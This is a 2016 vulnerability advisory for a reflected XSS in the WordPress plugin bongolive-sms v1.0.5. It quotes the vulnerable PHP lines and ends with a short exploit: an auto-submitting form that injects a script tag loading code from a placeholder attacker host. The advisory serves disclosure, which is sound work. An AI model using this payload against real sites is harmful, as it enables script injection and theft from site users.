Advisory #: 1148
Title: Reflected XSS in wordpress plugin bongolive-sms v1.0.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bongolive-sms
Downloads: 1533
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bongolive-sms
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bongolive-sms/setting/send-sms.php: 165: <input type="text" style="direction:ltr;" id="typed_sender_name" name="typed_sender_name" value="<?php if ($_POST['typed_sender_name'] != "") echo $_POST['typed_sender_name']; else echo get_option('typed_sender_names')?>"/> 200: <textarea name="wp_get_message" id="wp_get_message" style="width:350px; height: 200px; direction:ltr;" ><?php echo $_POST['wp_get_message']//get_option('tempo_msg'); ?></textarea><br /> The variable typed_sender_name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./bongolive-sms/setting/send-sms.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/bongolive-sms/setting/send-sms.php method=post> <input type=hidden name=typed_sender_name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>